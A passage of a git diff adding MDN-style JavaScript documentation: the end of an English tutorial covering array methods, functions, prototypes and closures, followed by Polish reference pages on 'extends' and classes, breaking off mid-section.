+ <td>Returns a string with the <code>toString()</code> of each element separated by commas.</td>
+ </tr>
+ <tr>
+ <td><code>a.toLocaleString()</code></td>
+ <td>Returns a string with the <code>toLocaleString()</code> of each element separated by commas.</td>
+ </tr>
+ <tr>
+ <td><code>a.concat(item1[, item2[, ...[, itemN]]])</code></td>
+ <td>Returns a new array with the items added on to it.</td>
+ </tr>
+ <tr>
+ <td><code>a.join(sep)</code></td>
+ <td>Converts the array to a string — with values delimited by the <code>sep</code> param</td>
+ </tr>
+ <tr>
+ <td><code>a.pop()</code></td>
+ <td>Removes and returns the last item.</td>
+ </tr>
+ <tr>
+ <td><code>a.push(item1, ..., itemN)</code></td>
+ <td>Appends items to the end of the array.</td>
+ </tr>
+ <tr>
+ <td><code>a.reverse()</code></td>
+ <td>Reverses the array.</td>
+ </tr>
+ <tr>
+ <td><code>a.shift()</code></td>
+ <td>Removes and returns the first item.</td>
+ </tr>
+ <tr>
+ <td><code>a.slice(start[, end])</code></td>
+ <td>Returns a sub-array.</td>
+ </tr>
+ <tr>
+ <td><code>a.sort([cmpfn])</code></td>
+ <td>Takes an optional comparison function.</td>
+ </tr>
+ <tr>
+ <td><code>a.splice(start, delcount[, item1[, ...[, itemN]]])</code></td>
+ <td>Lets you modify an array by deleting a section and replacing it with more items.</td>
+ </tr>
+ <tr>
+ <td><code>a.unshift(item1[, item2[, ...[, itemN]]])</code></td>
+ <td>Prepends items to the start of the array.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Functions">Functions</h2>
+
+<p>Along with objects, functions are the core component in understanding JavaScript. The most basic function couldn't be much simpler:</p>
+
+<pre class="brush: js">function add(x, y) {
+ var total = x + y;
+ return total;
+}
+</pre>
+
+<p>This demonstrates a basic function. A JavaScript function can take 0 or more named parameters. The function body can contain as many statements as you like and can declare its own variables which are local to that function. The <code>return</code> statement can be used to return a value at any time, terminating the function. If no return statement is used (or an empty return with no value), JavaScript returns <code>undefined</code>.</p>
+
+<p>The named parameters turn out to be more like guidelines than anything else. You can call a function without passing the parameters it expects, in which case they will be set to <code>undefined</code>.</p>
+
+<pre class="brush: js">add(); // NaN
+// You can't perform addition on undefined
+</pre>
+
+<p>You can also pass in more arguments than the function is expecting:</p>
+
+<pre class="brush: js">add(2, 3, 4); // 5
+// added the first two; 4 was ignored
+</pre>
+
+<p>That may seem a little silly, but functions have access to an additional variable inside their body called <a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments" title="/en/JavaScript/Reference/Functions_and_function_scope/arguments"><code>arguments</code></a>, which is an array-like object holding all of the values passed to the function. Let's re-write the add function to take as many values as we want:</p>
+
+<pre class="brush: js">function add() {
+ var sum = 0;
+ for (var i = 0, j = arguments.length; i &lt; j; i++) {
+ sum += arguments[i];
+ }
+ return sum;
+}
+
+add(2, 3, 4, 5); // 14
+</pre>
+
+<p>That's really not any more useful than writing <code>2 + 3 + 4 + 5</code> though. Let's create an averaging function:</p>
+
+<pre class="brush: js">function avg() {
+ var sum = 0;
+ for (var i = 0, j = arguments.length; i &lt; j; i++) {
+ sum += arguments[i];
+ }
+ return sum / arguments.length;
+}
+
+avg(2, 3, 4, 5); // 3.5
+</pre>
+
+<p>This is pretty useful, but it does seem a little verbose. To reduce this code a bit more we can look at substituting the use of the arguments array through <a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">Rest parameter syntax</a>. In this way, we can pass in any number of arguments into the function while keeping our code minimal. The <strong>rest parameter operator</strong> is used in function parameter lists with the format: <strong>...variable</strong> and it will include within that variable the entire list of uncaptured arguments that the function was called with. We will also replace the <strong>for</strong> loop with a <strong>for...of</strong> loop to return the values within our variable.</p>
+
+<pre class="brush: js">function avg(...args) {
+ var sum = 0;
+ for (let value of args) {
+ sum += value;
+ }
+ return sum / args.length;
+}
+
+avg(2, 3, 4, 5); // 3.5
+</pre>
+
+<div class="note">In the above code, the variable <strong>args</strong> holds all the values that were passed into the function.<br>
+<br>
+It is important to note that wherever the rest parameter operator is placed in a function declaration it will store all arguments <em>after</em> its declaration, but not before. <em>i.e. function</em> <em>avg(</em><strong>firstValue, </strong><em>...args)</em><strong> </strong>will store the first value passed into the function in the <strong>firstValue </strong>variable and the remaining arguments in <strong>args</strong>. That's another useful language feature but it does lead us to a new problem. The <code>avg()</code> function takes a comma-separated list of arguments — but what if you want to find the average of an array? You could just rewrite the function as follows:</div>
+
+<pre class="brush: js">function avgArray(arr) {
+ var sum = 0;
+ for (var i = 0, j = arr.length; i &lt; j; i++) {
+ sum += arr[i];
+ }
+ return sum / arr.length;
+}
+
+avgArray([2, 3, 4, 5]); // 3.5
+</pre>
+
+<p>But it would be nice to be able to reuse the function that we've already created. Luckily, JavaScript lets you call a function with an arbitrary array of arguments, using the {{jsxref("Function.apply", "apply()")}} method of any function object.</p>
+
+<pre class="brush: js">avg.apply(null, [2, 3, 4, 5]); // 3.5
+</pre>
+
+<p>The second argument to <code>apply()</code> is the array to use as arguments; the first will be discussed later on. This emphasizes the fact that functions are objects too.</p>
+
+<div class="note">
+<p>You can achieve the same result using the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator">spread operator</a> in the function call.</p>
+
+<p>For instance: <code>avg(...numbers)</code></p>
+</div>
+
+<p>JavaScript lets you create anonymous functions.</p>
+
+<pre class="brush: js">var avg = function() {
+ var sum = 0;
+ for (var i = 0, j = arguments.length; i &lt; j; i++) {
+ sum += arguments[i];
+ }
+ return sum / arguments.length;
+};
+</pre>
+
+<p>This is semantically equivalent to the <code>function avg()</code> form. It's extremely powerful, as it lets you put a full function definition anywhere that you would normally put an expression. This enables all sorts of clever tricks. Here's a way of "hiding" some local variables — like block scope in C:</p>
+
+<pre class="brush: js">var a = 1;
+var b = 2;
+
+(function() {
+ var b = 3;
+ a += b;
+})();
+
+a; // 4
+b; // 2
+</pre>
+
+<p>JavaScript allows you to call functions recursively. This is particularly useful for dealing with tree structures, such as those found in the browser DOM.</p>
+
+<pre class="brush: js">function countChars(elm) {
+ if (elm.nodeType == 3) { // TEXT_NODE
+ return elm.nodeValue.length;
+ }
+ var count = 0;
+ for (var i = 0, child; child = elm.childNodes[i]; i++) {
+ count += countChars(child);
+ }
+ return count;
+}
+</pre>
+
+<p>This highlights a potential problem with anonymous functions: how do you call them recursively if they don't have a name? JavaScript lets you name function expressions for this. You can use named IIFEs (Immediately Invoked Function Expressions) as shown below:</p>
+
+<pre class="brush: js">var charsInBody = (function counter(elm) {
+ if (elm.nodeType == 3) { // TEXT_NODE
+ return elm.nodeValue.length;
+ }
+ var count = 0;
+ for (var i = 0, child; child = elm.childNodes[i]; i++) {
+ count += counter(child);
+ }
+ return count;
+})(document.body);
+</pre>
+
+<p>The name provided to a function expression as above is only available to the function's own scope. This allows more optimizations to be done by the engine and results in more readable code. The name also shows up in the debugger and some stack traces, which can save you time when debugging.</p>
+
+<p>Note that JavaScript functions are themselves objects — like everything else in JavaScript — and you can add or change properties on them just like we've seen earlier in the Objects section.</p>
+
+<h2 id="Custom_objects">Custom objects</h2>
+
+<div class="note">For a more detailed discussion of object-oriented programming in JavaScript, see <a href="/en-US/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript">Introduction to Object-Oriented JavaScript</a>.</div>
+
+<p>In classic Object Oriented Programming, objects are collections of data and methods that operate on that data. JavaScript is a prototype-based language that contains no class statement, as you'd find in C++ or Java (this is sometimes confusing for programmers accustomed to languages with a class statement). Instead, JavaScript uses functions as classes. Let's consider a person object with first and last name fields. There are two ways in which the name might be displayed: as "first last" or as "last, first". Using the functions and objects that we've discussed previously, we could display the data like this:</p>
+
+<pre class="example-bad brush: js">function makePerson(first, last) {
+ return {
+ first: first,
+ last: last
+ };
+}
+function personFullName(person) {
+ return person.first + ' ' + person.last;
+}
+function personFullNameReversed(person) {
+ return person.last + ', ' + person.first;
+}
+
+s = makePerson('Simon', 'Willison');
+personFullName(s); // "Simon Willison"
+personFullNameReversed(s); // "Willison, Simon"
+</pre>
+
+<p>This works, but it's pretty ugly. You end up with dozens of functions in your global namespace. What we really need is a way to attach a function to an object. Since functions are objects, this is easy:</p>
+
+<pre class="brush: js">function makePerson(first, last) {
+ return {
+ first: first,
+ last: last,
+ fullName: function() {
+ return this.first + ' ' + this.last;
+ },
+ fullNameReversed: function() {
+ return this.last + ', ' + this.first;
+ }
+ };
+}
+
+s = makePerson('Simon', 'Willison');
+s.fullName(); // "Simon Willison"
+s.fullNameReversed(); // "Willison, Simon"
+</pre>
+
+<p>There's something here we haven't seen before: the <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/this" title="/en/JavaScript/Reference/Operators/this">this</a></code> keyword. Used inside a function, <code>this</code> refers to the current object. What that actually means is specified by the way in which you called that function. If you called it using <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer#Accessing_properties" title="/en/JavaScript/Reference/Operators/Member_Operators">dot notation or bracket notation</a> on an object, that object becomes <code>this</code>. If dot notation wasn't used for the call, <code>this</code> refers to the global object.</p>
+
+<p>Note that <code>this</code> is a frequent cause of mistakes. For example:</p>
+
+<pre class="brush: js">s = makePerson('Simon', 'Willison');
+var fullName = s.fullName;
+fullName(); // undefined undefined
+</pre>
+
+<p>When we call <code>fullName()</code> alone, without using <code>s.fullName()</code>, <code>this</code> is bound to the global object. Since there are no global variables called <code>first</code> or <code>last</code> we get <code>undefined</code> for each one.</p>
+
+<p>We can take advantage of the <code>this</code> keyword to improve our <code>makePerson</code> function:</p>
+
+<pre class="brush: js">function Person(first, last) {
+ this.first = first;
+ this.last = last;
+ this.fullName = function() {
+ return this.first + ' ' + this.last;
+ };
+ this.fullNameReversed = function() {
+ return this.last + ', ' + this.first;
+ };
+}
+var s = new Person('Simon', 'Willison');
+</pre>
+
+<p>We have introduced another keyword: <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/new" title="/en/JavaScript/Reference/Operators/new">new</a></code>. <code>new</code> is strongly related to <code>this</code>. It creates a brand new empty object, and then calls the function specified, with <code>this</code> set to that new object. Notice though that the function specified with <code>this</code> does not return a value but merely modifies the <code>this</code> object. It's <code>new</code> that returns the <code>this</code> object to the calling site. Functions that are designed to be called by <code>new</code> are called constructor functions. Common practice is to capitalize these functions as a reminder to call them with <code>new</code>.</p>
+
+<p>The improved function still has the same pitfall with calling <code>fullName()</code> alone.</p>
+
+<p>Our person objects are getting better, but there are still some ugly edges to them. Every time we create a person object we are creating two brand new function objects within it — wouldn't it be better if this code was shared?</p>
+
+<pre class="brush: js">function personFullName() {
+ return this.first + ' ' + this.last;
+}
+function personFullNameReversed() {
+ return this.last + ', ' + this.first;
+}
+function Person(first, last) {
+ this.first = first;
+ this.last = last;
+ this.fullName = personFullName;
+ this.fullNameReversed = personFullNameReversed;
+}
+</pre>
+
+<p>That's better: we are creating the method functions only once, and assigning references to them inside the constructor. Can we do any better than that? The answer is yes:</p>
+
+<pre class="brush: js">function Person(first, last) {
+ this.first = first;
+ this.last = last;
+}
+Person.prototype.fullName = function() {
+ return this.first + ' ' + this.last;
+};
+Person.prototype.fullNameReversed = function() {
+ return this.last + ', ' + this.first;
+};
+</pre>
+
+<p><code>Person.prototype</code> is an object shared by all instances of <code>Person</code>. It forms part of a lookup chain (that has a special name, "prototype chain"): any time you attempt to access a property of <code>Person</code> that isn't set, JavaScript will check <code>Person.prototype</code> to see if that property exists there instead. As a result, anything assigned to <code>Person.prototype</code> becomes available to all instances of that constructor via the <code>this</code> object.</p>
+
+<p>This is an incredibly powerful tool. JavaScript lets you modify something's prototype at any time in your program, which means you can add extra methods to existing objects at runtime:</p>
+
+<pre class="brush: js">s = new Person('Simon', 'Willison');
+s.firstNameCaps(); // TypeError on line 1: s.firstNameCaps is not a function
+
+Person.prototype.firstNameCaps = function() {
+ return this.first.toUpperCase();
+};
+s.firstNameCaps(); // "SIMON"
+</pre>
+
+<p>Interestingly, you can also add things to the prototype of built-in JavaScript objects. Let's add a method to <code>String</code> that returns that string in reverse:</p>
+
+<pre class="brush: js">var s = 'Simon';
+s.reversed(); // TypeError on line 1: s.reversed is not a function
+
+String.prototype.reversed = function() {
+ var r = '';
+ for (var i = this.length - 1; i &gt;= 0; i--) {
+ r += this[i];
+ }
+ return r;
+};
+
+s.reversed(); // nomiS
+</pre>
+
+<p>Our new method even works on string literals!</p>
+
+<pre class="brush: js">'This can now be reversed'.reversed(); // desrever eb won nac sihT
+</pre>
+
+<p>As mentioned before, the prototype forms part of a chain. The root of that chain is <code>Object.prototype</code>, whose methods include <code>toString()</code> — it is this method that is called when you try to represent an object as a string. This is useful for debugging our <code>Person</code> objects:</p>
+
+<pre class="brush: js">var s = new Person('Simon', 'Willison');
+s.toString(); // [object Object]
+
+Person.prototype.toString = function() {
+ return '&lt;Person: ' + this.fullName() + '&gt;';
+}
+
+s.toString(); // "&lt;Person: Simon Willison&gt;"
+</pre>
+
+<p>Remember how <code>avg.apply()</code> had a null first argument? We can revisit that now. The first argument to <code>apply()</code> is the object that should be treated as '<code>this</code>'. For example, here's a trivial implementation of <code>new</code>:</p>
+
+<pre class="brush: js">function trivialNew(constructor, ...args) {
+ var o = {}; // Create an object
+ constructor.apply(o, args);
+ return o;
+}
+</pre>
+
+<p>This isn't an exact replica of <code>new</code> as it doesn't set up the prototype chain (it would be difficult to illustrate). This is not something you use very often, but it's useful to know about. In this snippet, <code>...args</code> (including the ellipsis) is called the "<a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest arguments</a>" — as the name implies, this contains the rest of the arguments.</p>
+
+<p>Calling</p>
+
+<pre class="brush: js">var bill = trivialNew(Person, 'William', 'Orange');</pre>
+
+<p>is therefore almost equivalent to</p>
+
+<pre class="brush: js">var bill = new Person('William', 'Orange');</pre>
+
+<p><code>apply()</code> has a sister function named <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call" title="/en/JavaScript/Reference/Global_Objects/Function/call"><code>call</code></a>, which again lets you set <code>this</code> but takes an expanded argument list as opposed to an array.</p>
+
+<pre class="brush: js">function lastNameCaps() {
+ return this.last.toUpperCase();
+}
+var s = new Person('Simon', 'Willison');
+lastNameCaps.call(s);
+// Is the same as:
+s.lastNameCaps = lastNameCaps;
+s.lastNameCaps(); // WILLISON
+</pre>
+
+<h3 id="Inner_functions">Inner functions</h3>
+
+<p>JavaScript function declarations are allowed inside other functions. We've seen this once before, with an earlier <code>makePerson()</code> function. An important detail of nested functions in JavaScript is that they can access variables in their parent function's scope:</p>
+
+<pre class="brush: js">function parentFunc() {
+ var a = 1;
+
+ function nestedFunc() {
+ var b = 4; // parentFunc can't use this
+  return a + b;
+ }
+ return nestedFunc(); // 5
+}
+</pre>
+
+<p>This provides a great deal of utility in writing more maintainable code. If a function relies on one or two other functions that are not useful to any other part of your code, you can nest those utility functions inside the function that will be called from elsewhere. This keeps the number of functions that are in the global scope down, which is always a good thing.</p>
+
+<p>This is also a great counter to the lure of global variables. When writing complex code it is often tempting to use global variables to share values between multiple functions — which leads to code that is hard to maintain. Nested functions can share variables in their parent, so you can use that mechanism to couple functions together when it makes sense without polluting your global namespace — "local globals" if you like. This technique should be used with caution, but it's a useful ability to have.</p>
+
+<h2 id="Closures">Closures</h2>
+
+<p>This leads us to one of the most powerful abstractions that JavaScript has to offer — but also the most potentially confusing. What does this do?</p>
+
+<pre class="brush: js">function makeAdder(a) {
+ return function(b) {
+ return a + b;
+ };
+}
+var x = makeAdder(5);
+var y = makeAdder(20);
+x(6); // ?
+y(7); // ?
+</pre>
+
+<p>The name of the <code>makeAdder()</code> function should give it away: it creates new 'adder' functions, each of which, when called with one argument, adds it to the argument that it was created with.</p>
+
+<p>What's happening here is pretty much the same as was happening with the inner functions earlier on: a function defined inside another function has access to the outer function's variables. The only difference here is that the outer function has returned, and hence common sense would seem to dictate that its local variables no longer exist. But they <em>do</em> still exist — otherwise, the adder functions would be unable to work. What's more, there are two different "copies" of <code>makeAdder()</code>'s local variables — one in which <code>a</code> is 5 and the other one where <code>a</code> is 20. So the result of that function calls is as follows:</p>
+
+<pre class="brush: js">x(6); // returns 11
+y(7); // returns 27
+</pre>
+
+<p>Here's what's actually happening. Whenever JavaScript executes a function, a 'scope' object is created to hold the local variables created within that function. It is initialized with any variables passed in as function parameters. This is similar to the global object that all global variables and functions live in, but with a couple of important differences: firstly, a brand new scope object is created every time a function starts executing, and secondly, unlike the global object (which is accessible as <code>this</code> and in browsers as <code>window</code>) these scope objects cannot be directly accessed from your JavaScript code. There is no mechanism for iterating over the properties of the current scope object, for example.</p>
+
+<p>So when <code>makeAdder()</code> is called, a scope object is created with one property: <code>a</code>, which is the argument passed to the <code>makeAdder()</code> function. <code>makeAdder()</code> then returns a newly created function. Normally JavaScript's garbage collector would clean up the scope object created for <code>makeAdder()</code> at this point, but the returned function maintains a reference back to that scope object. As a result, the scope object will not be garbage-collected until there are no more references to the function object that <code>makeAdder()</code> returned.</p>
+
+<p>Scope objects form a chain called the scope chain, similar to the prototype chain used by JavaScript's object system.</p>
+
+<p>A <strong>closure</strong> is the combination of a function and the scope object in which it was created. Closures let you save state — as such, they can often be used in place of objects. You can find <a href="http://stackoverflow.com/questions/111102/how-do-javascript-closures-work">several excellent introductions to closures</a>.</p>
diff --git a/files/pl/web/javascript/reference/classes/extends/index.html b/files/pl/web/javascript/reference/classes/extends/index.html
new file mode 100644
index 0000000000..6b25a766e5
--- /dev/null
+++ b/files/pl/web/javascript/reference/classes/extends/index.html
@@ -0,0 +1,88 @@
+---
+title: extends
+slug: Web/JavaScript/Reference/Classes/extends
+tags:
+ - Classes
+ - ECMAScript 2015
+ - JavaScript
+translation_of: Web/JavaScript/Reference/Classes/extends
+---
+<div>{{jsSidebar("Classes")}}</div>
+
+<p>Słowo kluczowe <strong><code>extends</code></strong> jest używane w <a href="/pl/docs/Web/JavaScript/Referencje/Polecenia/class">deklaracjach klas</a> lub <a href="/en-US/docs/Web/JavaScript/Reference/Operators/class">wyrażeniach class</a> do tworzenia klasy jako elementu potomnego innej klasy.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/classes-extends.html")}}</div>
+
+
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox notranslate">class ChildClass extends ParentClass { ... }</pre>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Słowo kluczowe <code>extends</code> może być użyte do dziedziczenia po niestandardowych klasach lub standardowych obiektach wbudowanych.</p>
+
+<p>Prototypem rozszerzenia musi być {{jsxref("Object")}} lub {{jsxref("null")}}.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Zastosowanie_extends">Zastosowanie <code>extends</code></h3>
+
+<p>Pierwszy przykład tworzy klasę <code>Square</code> rozszerzającą klasę <code>Polygon</code>. <a href="https://googlechrome.github.io/samples/classes-es6/index.html">live demo</a> <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/classes-es6/index.html">(source)</a>.</p>
+
+<pre class="brush: js notranslate">class Square extends Polygon {
+ constructor(length) {
+ // Wywołanie konstruktora klasy nadrzędnej
+ // określenie szerokości i wysokości wielokątu
+ super(length, length);
+ // Uwaga: W pochodnych klasach, super() musi być wywołane wcześniej niż
+ // pierwsze użycie 'this'. W przeciwnym wypadku pojawi się błąd odniesienia.
+ this.name = 'Square';
+ }
+
+ get area() {
+ return this.height * this.width;
+ }
+}</pre>
+
+<h3 id="Zastosowanie_extends_z_obiektami_wbudowanymi">Zastosowanie <code>extends</code> z obiektami wbudowanymi</h3>
+
+<p>Poniższy przykład rozszerza wbudowany obiekt {{jsxref("Date")}}. <a href="https://googlechrome.github.io/samples/classes-es6/index.html">live demo</a> <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/classes-es6/index.html">(source)</a>.</p>
+
+<pre class="brush: js notranslate">class myDate extends Date {
+
+ getFormattedDate() {
+ var months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];
+ return this.getDate() + '-' + months[this.getMonth()] + '-' + this.getFullYear();
+ }
+}
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-class-definitions', 'extends')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność">Kompatybilność</h2>
+
+
+
+<p>{{Compat("javascript.classes.extends")}}</p>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li><a href="/pl/docs/Web/JavaScript/Reference/Classes">Classes</a></li>
+ <li><a href="/pl/docs/Web/JavaScript/Reference/Classes/Konstruktor">Konstruktor</a></li>
+ <li><a href="/pl/docs/Web/JavaScript/Referencje/Operatory/super">super</a></li>
+ <li><a href="https://medium.com/beginners-guide-to-mobile-web-development/super-and-extends-in-javascript-es6-understanding-the-tough-parts-6120372d3420">Anurag Majumdar - Super &amp; Extends in JavaScript</a></li>
+</ul>
diff --git a/files/pl/web/javascript/reference/classes/index.html b/files/pl/web/javascript/reference/classes/index.html
new file mode 100644
index 0000000000..81388acbc3
--- /dev/null
+++ b/files/pl/web/javascript/reference/classes/index.html
@@ -0,0 +1,410 @@
+---
+title: Classes
+slug: Web/JavaScript/Reference/Classes
+tags:
+ - Classes
+ - Constructors
+ - ECMAScript 2015
+ - Inheritance
+ - Intermediate
+ - JavaScript
+ - TopicStub
+translation_of: Web/JavaScript/Reference/Classes
+---
+<div>{{JsSidebar("Classes")}}</div>
+
+<p>Klasy w Javascript zostały wprowadzone w ECMAScript 2015 jako lukier składniowy<strong> </strong>(ang. <em>syntactic sugar</em>) dla istniejącego, opartego na prototypach modelu dziedziczenia. Składnia klas <strong>nie</strong> wprowadza nowego zorientowanego obiektowo modelu dziedziczenia. Klasy wprowadzają znacznie prostszą i bardziej czytelną składnię do tworzenia obiektów i dziedziczenia.</p>
+
+<h2 id="Definiowanie_klas">Definiowanie klas</h2>
+
+<p>Klasy są w zasadzie "szczególnymi <a href="/pl/docs/Web/JavaScript/Reference/Functions">funkcjami</a>". Podobnie jak w funkcji można definiować <a href="/pl/docs/Web/JavaScript/Referencje/Operatory/Operator_function">wyrażenie <code>function</code></a> i <a href="/pl/docs/Web/JavaScript/Reference/Statements/function">deklaracje funkcji</a>, tak składnia klasy posiada dwa komponenty: <a href="/pl/docs/Web/JavaScript/Reference/Operators/class">wyrażenie <code>class</code></a> i <a href="/pl/docs/Web/JavaScript/Reference/Statements/class">deklaracje klasy</a>.</p>
+
+<h3 id="Deklaracje_klas">Deklaracje klas</h3>
+
+<p>Jednym ze sposobów definiowania klas jest <strong>deklaracja klasy</strong>. Aby zadeklarować klasę, należy użyć słowa kluczowego <code>class</code> wraz z nazwą klasy (w tym przypadku "Prostokat").</p>
+
+<pre class="brush: js notranslate">class Prostokat {
+ constructor(wysokosc, szerokosc) {
+ this.wysokosc = wysokosc;
+ this.szerokosc = szerokosc;
+ }
+}</pre>
+
+<h4 id="Hoisting">Hoisting</h4>
+
+<p>Ważną różnicą pomiędzy <strong>deklaracją funkcji</strong> a <strong>deklaracją klasy</strong> jest to, że deklaracje funkcji są przenoszone na początek ({{Glossary("Hoisting")}}) a klas nie. Najpierw musisz zadeklarować swoją klasę, by mieć do niej dostęp, w przeciwnym razie kod, jak ten poniżej, wygeneruje błąd {{jsxref("ReferenceError")}}:</p>
+
+<pre class="brush: js example-bad notranslate">var p = new Prostokat(); // ReferenceError
+
+class Prostokat {}
+</pre>
+
+<h3 id="Wyrażenie_class">Wyrażenie <code>class</code></h3>
+
+<p><strong>Wyrażenie <code>class</code></strong> jest kolejnym sposobem definiowania klasy. Wyrażenia <code>class</code> mogą być nazwane lub nienazwane. Nazwa przypisana nazwanemu wyrażeniu <code>class</code> jest lokalna dla ciała klasy. (można ją odczytać z właściwości {{jsxref("Function.name", "name")}} klasy)</p>
+
+<pre class="brush: js notranslate">// nienazwane
+var Prostokat = class {
+ constructor(wysokosc, szerokosc) {
+    this.wysokosc = wysokosc;
+    this.szerokosc = szerokosc;
+ }
+};
+console.log(Prostokat.name); // Prostokat
+
+// nazwane
+var Prostokat = class Prostokat2 {
+  constructor(wysokosc, szerokosc) {
+    this.wysokosc = wysokosc;
+    this.szerokosc = szerokosc;
+  }
+};
+console.log(Prostokat.name); // Prostokat2
+</pre>
+
+<div class="note">
+<p><strong>Uwaga</strong>: <strong>Wyrażenia </strong><code>class</code> dotykają te same kwestie związane z przenoszeniem na początek (ang. hoisting) co wspomnianych <strong>deklaracji </strong>klas.</p>
+</div>
+
+<h2 id="Ciało_klasy_i_definicje_metod">Ciało klasy i definicje metod</h2>
+
+<p>Ciało klasy jest umieszczane w nawiasach klamrowych <code>{}</code>. To tam definiuje się metody, czy konstruktory.</p>
+
+<h3 id="Tryb_ścisły">Tryb ścisły</h3>
+
+<p>Ciało klasy jest wykonywane w <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">trybie ścisłym</a> (ang. <em>strict mode</em>). W celu poprawienia wydajności, kod wykorzystywany tutaj podlega ścisłej składni; nie pozwala to na ukrycie niektórych wyjątków, a pewne słowa kluczowe są rezerwowane dla przyszłych wersji ECMAScript.</p>
+
+<h3 id="Konstruktor">Konstruktor</h3>
+
+<p><code><a href="/en-US/docs/Web/JavaScript/Reference/Classes/constructor">Constructor</a></code> jest szczególną metodą, która służy tworzeniu i inicjalizowaniu obiektu zdefiniowanego słowem kluczowym <code>class</code>. Dozwolony jest tylko jeden konstruktor w danej klasie. Jeśli klasa posiada więcej niż jedno wystąpienie metody <code>constructor</code>, wygenerowany zostanie błąd {{jsxref("SyntaxError")}}.</p>
+
+<p>Aby wywołać konstruktor klasy bazowej, należy użyć słowa kluczowego <code>super</code>.</p>
+
+<h3 id="Metody">Metody</h3>
+
+<p>Zobacz też <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions">definiowanie metod</a>.</p>
+
+<pre class="brush: js notranslate">class Prostokat {
+ constructor(wysokosc, szerokosc) {
+ this.wysokosc = wysokosc;
+ this.szerokosc = szerokosc;
+ }
+ // Getter
+  get pole() {
+ return this.liczPole();
+  }
+ // Method
+  liczPole() {
+  return this.wysokosc * this.szerokosc;
+  }
+}
+
+const kwadrat = new Prostokat(10, 10);
+
+console.log(kwadrat.pole); // 100</pre>
+
+<h3 id="Metody_i_właściwości_statyczne">Metody i właściwości statyczne</h3>
+
+<p>Słowo kluczowe <code><a href="/en-US/docs/Web/JavaScript/Reference/Classes/static">static</a></code> definiuje metodę kub właściwość statyczną w klasie. Statyczne metody i właściwości są wywoływane bez <a href="/pl/docs/Learn/JavaScript/Obiekty" title='An example of class instance is "var john = new Person();"'>inicjalizowania</a> ich klas i <strong>nie mogą</strong> być wywołane przez instancję klasy.</p>
+
+<pre class="brush: js notranslate">class Punkt {
+ constructor(x, y) {
+ this.x = x;
+ this.y = y;
+ }
+
+ static nazwa = "Punkt";
+ static odleglosc(a, b) {
+ const dx = a.x - b.x;
+ const dy = a.y - b.y;
+
+ return Math.sqrt(dx*dx + dy*dy);
+ }
+}
+
+const p1 = new Punkt(5, 5);
+const p2 = new Punkt(10, 10);
+p1.nazwa; // undefined
+p1.odleglosc; // undefined
+p2.nazwa; // undefined
+p2.odleglosc; // undefined
+
+console.log(Punkt.nazwa); // "Punkt"
+console.log(Punkt.odleglosc(p1, p2)); // 7.0710678118654755</pre>
+
+<h3 id="Powiązanie_this_z_metodami_niestatycznymi_i_statycznymi">Powiązanie <code>this</code> z metodami niestatycznymi i statycznymi</h3>
+
+<p>Kiedy metoda typu <code>static</code> lub <code>prototype</code> jest wywoływana bez <code>this</code> (na przykład poprzez przypisanie metody do zmiennej), wtedy <code>this</code><em> </em>będzie <code>undefined</code> w środku metody. Takie zachowanie będzie takie same, nawet jeżeli dyrektywa <code>"use strict"</code> nie będzie obecna, ponieważ kod w obrębie metody danej klasy zawsze będzie wykonywał się jako <code>strict mode</code>.</p>
+
+<pre class="brush: js notranslate">class Animal {
+  speak() {
+  return this;
+  }
+  static eat() {
+  return this;
+  }
+}
+
+let obj = new Animal();
+obj.speak(); // obiekt Animal
+let speak = obj.speak;
+speak(); // undefined
+
+Animal.eat(); // klasa Animal
+let eat = Animal.eat;
+eat(); // undefined</pre>
+
+<p>Jeśli przepiszemy powyższy przykład z użyciem tradycyjnych funkcji bez dyrektywy <code>"use strict"</code>, to <code>this</code> wywołane w metodzie będzie automatycznie przypisane do pierwotnej wartości <code>this</code>, którą domyślnie jest <a href="/en-US/docs/Glossary/Global_object">global object</a>.</p>
+
+<pre class="brush: js notranslate">function Animal() { }
+
+Animal.prototype.speak = function() {
+ return this;
+}
+
+Animal.eat = function() {
+ return this;
+}
+
+let obj = new Animal();
+let speak = obj.speak;
+speak(); // global object
+
+let eat = Animal.eat;
+eat(); // global object
+</pre>
+
+<h3 id="Właściwości_instancji">Właściwości instancji</h3>
+
+<p>Właściwości instancji muszą być zdefiniowane wewnątrz metody klasy:</p>
+
+<pre class="brush: js notranslate">class Rectangle {
+ constructor(height, width) {
+ this.height = height;
+ this.width = width;
+ }
+}</pre>
+
+<p>Statyczne właściwości i właściwości prototypu muszą być zdefiniowane poza ciałem klasy:</p>
+
+<pre class="brush: js notranslate">Rectangle.staticWidth = 20;
+Rectangle.prototype.prototypeWidth = 25;</pre>
+
+<h3 id="Deklaracje_pól">Deklaracje pól</h3>
+
+<div class="blockIndicator warning">
